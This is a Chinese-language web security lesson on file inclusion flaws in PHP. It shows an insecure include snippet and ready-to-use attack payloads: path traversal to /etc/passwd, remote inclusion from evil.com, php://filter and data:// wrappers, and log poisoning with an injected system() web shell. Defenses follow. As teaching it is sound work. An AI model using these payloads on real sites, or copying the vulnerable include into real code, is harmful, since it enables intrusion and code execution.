文件包含漏洞入门
Web安全学习路径 | 模块3 | 课程3
1. 引言
文件包含漏洞(File Inclusion)是一种常见的Web应用程序漏洞,攻击者可以利用这个漏洞包含并执行未经授权的文件。这种漏洞通常出现在允许动态包含文件的应用程序中,可能导致敏感信息泄露、远程代码执行等严重后果。
学习目标: 理解文件包含漏洞的原理和类型,掌握漏洞的利用方法,学习有效的防御技术。
2. 文件包含漏洞基础
2.1 什么是文件包含
文件包含是Web应用程序的一个常见功能,允许在运行时动态加载和执行其他文件的内容。这种机制通常用于:
- 模块化代码组织
- 模板系统实现
- 动态加载配置
- 插件系统开发
2.2 漏洞产生原因
文件包含漏洞主要由以下原因导致:
// PHP中的不安全文件包含示例
<?php
$page = $_GET['page'];
include($page); // 直接包含用户输入的文件路径
?>
// 攻击URL示例
http://example.com/index.php?page=../../../etc/passwd
3. 漏洞类型
3.1 本地文件包含(LFI)
本地文件包含允许攻击者包含目标服务器上的文件:
// 常见的LFI攻击示例
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=../../../windows/win.ini
http://example.com/index.php?page=../logs/access.log
3.2 远程文件包含(RFI)
远程文件包含允许攻击者包含远程服务器上的文件:
// 远程文件包含攻击示例
http://example.com/index.php?page=http://evil.com/shell.php
http://example.com/index.php?page=\\attacker.com\shared\evil.php
3.3 文件包含的变体
攻击者可能使用各种技巧绕过防护:
// 使用空字节截断
http://example.com/index.php?page=../../../etc/passwd%00.jpg
// 使用封装协议
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
4. 漏洞利用技术
4.1 目录遍历
通过目录遍历来访问系统敏感文件:
// 常见的敏感文件路径
/etc/passwd
/etc/shadow
/proc/self/environ
/var/log/apache2/access.log
/var/www/html/config.php
4.2 日志中毒
通过污染日志文件来执行恶意代码:
// 1. 首先在User-Agent中注入PHP代码
GET /index.php HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
// 2. 然后包含日志文件
http://example.com/index.php?page=../logs/access.log&cmd=id
4.3 PHP封装协议利用
使用PHP提供的各种封装协议:
// 读取PHP源码
php://filter/convert.base64-encode/resource=index.php
// 执行代码
php://input
POST DATA: <?php system('id'); ?>
// 数据流
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
5. 防御措施
5.1 输入验证
严格验证和过滤用户输入:
// 白名单验证
<?php
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
}
?>
5.2 禁用危险特性
在PHP配置中禁用危险功能:
// php.ini配置
allow_url_fopen = Off
allow_url_include = Off
5.3 路径规范化
使用realpath()函数确保路径安全:
<?php
$file = realpath($_GET['page']);
$allowed_dir = realpath('/var/www/includes/');
if (strpos($file, $allowed_dir) === 0) {
include($file);
}
?>